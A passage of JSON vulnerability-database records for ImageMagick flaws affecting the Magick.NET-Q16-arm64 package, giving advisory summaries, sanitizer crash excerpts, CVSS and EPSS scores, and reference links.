"scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:48:11Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pqgj-2p96-rx85" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-24485", "GHSA-pqgj-2p96-rx85" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-1hrc-y5vr-efgj" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50318?format=api", "vulnerability_id": "VCID-1j2k-6rbb-tfhy", "summary": "ImageMagick has memory leak in msl encoder\nMemory leak exists in `coders/msl.c`. In the `WriteMSLImage` function of the `msl.c` file, resources are allocated. But the function returns early without releasing these allocated resources.\n\n```\n==78983== Memcheck, a memory error detector\n==78983== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.\n==78983== Using Valgrind-3.22.0 and LibVEX; rerun with -h for copyright info\n==78983==\n==78983== 177,196 (13,512 direct, 163,684 indirect) bytes in 1 blocks are definitely lost in loss record 21 of 21\n==78983== at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25638.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25638.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25638", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0002", "scoring_system": "epss", "scoring_elements": "0.05668", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25638" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25638", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25638" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/1e88fca11c7b8517100d518bc99bd8c474f02f88", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/1e88fca11c7b8517100d518bc99bd8c474f02f88" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442105", "reference_id": "2442105", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442105" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25638", "reference_id": "CVE-2026-25638", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25638" }, { "reference_url": "https://github.com/advisories/GHSA-gxcx-qjqp-8vjw", "reference_id": "GHSA-gxcx-qjqp-8vjw", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-gxcx-qjqp-8vjw" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gxcx-qjqp-8vjw", "reference_id": "GHSA-gxcx-qjqp-8vjw", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gxcx-qjqp-8vjw" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25638", "GHSA-gxcx-qjqp-8vjw" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-1j2k-6rbb-tfhy" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50359?format=api", "vulnerability_id": "VCID-1p4e-f2bs-eycu", "summary": "ImageMagick has a possible heap Use After Free vulnerability in its meta coder\nA heap Use After Free vulnerability exists in the meta coder when an allocation fails and a single byte is written to a stale pointer.\n\n```\n==535852==ERROR: AddressSanitizer: heap-use-after-free on address 0x5210000088ff at pc 0x5581bacac14d bp 0x7ffdf667edf0 sp 0x7ffdf667ede0\nWRITE of size 1 at 0x5210000088ff thread T0\n```", "references": [ { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/f5049954f12c6fcf090a776767526d2a4708d58b", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/f5049954f12c6fcf090a776767526d2a4708d58b" }, { "reference_url": "https://github.com/advisories/GHSA-2gq3-ww97-wfjm", "reference_id": "GHSA-2gq3-ww97-wfjm", "reference_type": "", "scores": [ { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-2gq3-ww97-wfjm" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-2gq3-ww97-wfjm", "reference_id": "GHSA-2gq3-ww97-wfjm", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-2gq3-ww97-wfjm" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "GHSA-2gq3-ww97-wfjm" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-1p4e-f2bs-eycu" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50309?format=api", "vulnerability_id": "VCID-1y2r-nh91-u7ha", "summary": "ImageMagick has a heap buffer over-read in its MAP image decoder\nA heap buffer over-read vulnerability exists in the MAP image decoder when processing crafted MAP files, potentially leading to crashes or unintended memory disclosure during image decoding.\n\n```\n=================================================================\n==4070926==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000002b31 at pc 0x56517afbd910 bp 0x7ffc59e90000 sp 0x7ffc59e8fff0\nREAD of size 1 at 0x502000002b31 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25987.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25987.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25987", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00016", "scoring_system": "epss", "scoring_elements": "0.03887", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25987" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25987", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25987" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/bbae0215e1b76830509fd20e6d37c0dd7e3e4c3a", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/bbae0215e1b76830509fd20e6d37c0dd7e3e4c3a" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442115", "reference_id": "2442115", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442115" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25987", "reference_id": "CVE-2026-25987", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25987" }, { "reference_url": "https://github.com/advisories/GHSA-42p5-62qq-mmh7", "reference_id": "GHSA-42p5-62qq-mmh7", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-42p5-62qq-mmh7" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-42p5-62qq-mmh7", "reference_id": "GHSA-42p5-62qq-mmh7", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:07:26Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-42p5-62qq-mmh7" }, { "reference_url": "https://usn.ubuntu.com/8069-1/", "reference_id": "USN-8069-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8069-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25987", "GHSA-42p5-62qq-mmh7" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-1y2r-nh91-u7ha" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/57977?format=api", "vulnerability_id": "VCID-27wf-43fw-kuam", "summary": "ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution\nA format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution.\n<br>", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55298.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.8", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55298.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-55298", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.01005", "scoring_system": "epss", "scoring_elements": "0.77413", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-55298" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55298", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55298" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-08-26T20:36:37Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/439b362b93c074eea6c3f834d84982b43ef057d5", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-08-26T20:36:37Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/439b362b93c074eea6c3f834d84982b43ef057d5" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111586", "reference_id": "1111586", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111586" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391097", "reference_id": "2391097", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391097" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55298", "reference_id": "CVE-2025-55298", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55298" }, { "reference_url": "https://github.com/advisories/GHSA-9ccg-6pjw-x645", "reference_id": "GHSA-9ccg-6pjw-x645", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-9ccg-6pjw-x645" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9ccg-6pjw-x645", "reference_id": "GHSA-9ccg-6pjw-x645", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-08-26T20:36:37Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9ccg-6pjw-x645" }, { "reference_url": "https://usn.ubuntu.com/7812-1/", "reference_id": "USN-7812-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7812-1/" 